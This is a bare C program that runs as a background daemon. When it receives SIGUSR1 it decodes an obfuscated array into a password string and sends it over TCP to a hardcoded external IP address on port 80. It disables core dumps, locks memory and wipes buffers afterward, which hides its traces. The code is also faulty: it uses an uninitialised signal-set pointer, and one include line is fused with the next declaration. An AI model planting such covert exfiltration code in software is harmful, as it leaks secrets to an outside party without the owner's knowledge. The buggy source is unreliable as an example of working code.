#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>int a[15] = { 53, 55, 50, 39, 52, 15, 50, 35, 53, 53, 57, 49, 52, 38 };
int main(void)
{
char *arr;
sigset_t *set;
struct rlimit limit;
int sig, i, len, y = 1;
limit.rlim_cur = 0;
limit.rlim_max = 0;
sigemptyset(set);
sigaddset(set, SIGUSR1);
sigprocmask(SIG_BLOCK, set, NULL);
setrlimit(RLIMIT_CORE, &limit);
daemon(0, 0);
for (sig = 0;;) {
sigwait(set, &sig);
switch (sig) {
case (SIGUSR1):
mlockall(MCL_CURRENT | MCL_FUTURE);
arr = malloc(15);
for (i = 0; i < 14; i++) {
a[i] += 30;
memmove((void *)&arr[i], &a[i], 1);
}
struct sockaddr_in inaddr;
int fd = socket(PF_INET, SOCK_STREAM, 0);
memset((void *)&inaddr, 0, sizeof(inaddr));
inaddr.sin_family = PF_INET;
inaddr.sin_port = htons(80);
inaddr.sin_addr.s_addr = inet_addr("199.59.243.105");
setsockopt(fd, SOL_SOCKET, SO_OOBINLINE, &y,
sizeof(int));
setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (char *)&y,
sizeof(int));
connect(fd, (struct sockaddr *)&inaddr, sizeof(inaddr));
send(fd, &arr[0], 14, MSG_DONTWAIT | MSG_EOR);
close(fd);
memset((void *)&inaddr, 0xff, sizeof(inaddr));
memset((void *)&inaddr, 0xaa, sizeof(inaddr));
memset((void *)&inaddr, 0, sizeof(inaddr));
memset(arr, 0xff, 16);
memset(arr, 0xaa, 16);
memset(arr, 0x0, 16);
free(arr);
arr = NULL;
munlockall();
continue;
}
}
return 0;
}